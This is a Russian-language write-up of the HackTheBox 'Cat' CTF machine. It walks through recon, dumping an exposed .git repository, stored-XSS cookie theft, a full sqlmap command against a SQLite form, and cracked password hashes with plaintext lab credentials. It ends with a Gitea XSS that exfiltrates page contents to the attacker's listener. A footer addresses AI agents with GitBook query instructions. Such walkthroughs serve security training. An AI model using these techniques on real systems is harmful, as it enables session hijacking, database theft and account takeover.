> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md). # Разбор HackTheBox Cat {% embed url="" %} {% hint style="warning" %} **Навыки:** * Перебор директорий (файл .git) * Анализ исходного кода (дамп Git-репозитория) * Эксплуатация сохранённого XSS и угон сессии * SQL-инъекция (SQLite) с использованием sqlmap * Взлом хэшей паролей * Переадресация портов через SSH * Эксплуатация Gitea (v1.22.0) — сохранённый XSS * Эксфильтрация конфиденциальных данных через XSS-пейлоады {% endhint %} ## Разведка **Настройка рабочей среды:** Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

**Проверка подключения VPN** Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

**Обнаружение открытых портов с помощью Nmap:** Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.53 -oG allPorts ```

Сканирование версий портов с помощью Nmap: Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted": ```purebasic nmap -sCV -p22,80 10.10.11.53 -oN targeted ```

Чтобы преобразовать доменные имена в IP-адреса через DNS, мы вносим доменное имя, связанное с его IP-адресом, в `/etc/hosts` файл:

### Порт 80 - HTTP

Открыв `http://cat.htb` сайт, вы найдёте форму регистрации.

Мы также замечаем функцию голосования.

**Перебор директорий** Мы запускаем `gobuster` для обнаружения скрытых путей: ```bash gobuster dir -u http://cat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php ```

Это выявляет несколько интересных файлов, включая `.git` каталог.

**дамп Git-репозитория** Мы используем `git-dumper` для извлечения содержимого репозитория: ```bash git-dumper http://cat.htb/.git git ```

Изучив исходный код, мы обнаруживаем **уязвимость SQL** а также возможность **сохранённый XSS**.

## Уязвимость XSS Приложение принимает *username* и *email* поля без надлежащей фильтрации. Это позволяет внедрять вредоносные скрипты.

**XSS-пейлоад** Мы создаём пользователя со следующим именем: ```javascript ``` **Получение cookie администратора** Мы слушаем на порту 8081: ```bash python -m http.server 8081 ```

После перехвата cookie мы получаем сессию администратора:

Мы заменяем нашу cookie сессии на cookie администратора и получаем доступ к **консоли администратора**.

## SQL-инъекция (SQLite)

С правами администратора запустите `sqlmap` на уязвимой форме {% code overflow="wrap" %} ```bash sqlmap -u "http://cat.htb/accept_cat.php" --cookie="PHPSESSID=i4cao7dtdfk1bs713p57cfq719" --data="catId=1&catName=123" -p catName --level 3 --risk 3 --batch --random-agent --tables --dump --dbms=sqlite --threads 10 ``` {% endcode %}

**Восстановление хэша** Мы получаем данные пользователей **хэши паролей**. Вот несколько примеров: ``` d1bbba3670feb9435c9841e46e60ee2f ac369922d560f17d6eeb8b2c7dec498c 42846631708f69c00ec0c0a8aa4a92ad 39e153e825c4a3d314a0dc7f7475ddbe 781593e060f8d065cd7281c5ec5b4b86 1b6dce240bbfbc0905a664ad199e18f8 c598f6b844a36fa7836fba0835f1f6 e41ccefa439fc454f7eadbf1f139ed8a 24a8ec003ac2e1b3c5953a6f95f8f565 88e4dceccd48820cf77b5cf6c08698ad ``` **Взлом паролей** Используя [CrackStation](https://crackstation.net/), мы успешно определяем пароль пользователя `rosa`: {% embed url="" %}

* **username** : rosa * **пароль** : soyunaprincesarosa Подключение по SSH с полученными учётными данными: ```bash ssh rosa@cat.htb ```

### Переход к пользователю Axel #### Перечисление LinPEAS: ```bash ./linpeas.sh ``` {% embed url="" %} Rosa состоит в `adm` группе, доступ к: ```bash cat /var/log/apache2/access.log | grep "axel" ```

Найдены учётные данные: * Username: axel * Password : aNdZwgC4tI9gnVXv/\_e3Q

### Флаг user.txt :)

## Повышение привилегий ### Обнаружение внутренних портов: ```bash netstat -tuln ``` * **Node.js** (port 3000) * **SMTP** (587, 25) Идентифицированные службы

#### Перенаправление порта ```bash sudo ssh -L 3000:127.0.0.1:3000 -L 587:127.0.0.1:587 -L 25:127.0.0.1:25 axel@cat.htb ``` ### Уязвимость XSS в Gitea v1.22.0 На `http://localhost:3000` -> **Gitea** доступна.

Войдите с учётными данными Axel.

Известная уязвимость XSS.

Мы создаём проект с описанием, содержащим: ```bash XSS test ```

* Результат:

### Почта перехвачена через LinPEAS

Содержимое письма: * jobert\@localhost должен проверить репозиторий Gitea

Мы отправляем XSS-ссылку, содержащую скрипт эксфильтрации, который читает содержимое `index.php` страницы репозитория Gitea, кодирует его в Base64, а затем отправляет на наш веб-сервер {% code overflow="wrap" %} ```bash PWNED ``` {% endcode %}

#### Через наш веб-сервер ```bash python -m http.server 8080 ```

#### Экcфильтрованное содержимое (декодированное из base64): ```bash echo "PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLdzc1ZVIwTVI3Q01JeGhIMCc7CgppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8ICFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwgCiAgICAkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddICE9ICR2YWxpZF91c2VybmFtZSB8fCAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSAhPSAkdmFsaWRfcGFzc3dvcmQpIHsKICAgIAogICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iRW1wbG95ZWUgTWFuYWdlbWVudCInKTsKICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgZXhpdDsKfQoKaGVhZGVyKCdMb2NhdGlvbjogZGFzaGJvYXJkLnBocCcpOwpleGl0Owo%2FPgoK" | base64 -d ``` * $valid/\_username = 'admin'; * $valid/\_password = 'IKw75eR0MR7CMIxhH0';

#### Получение root-прав Для пользователя root используются повторно те же учётные данные ```bash su root ```

### Флаг root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.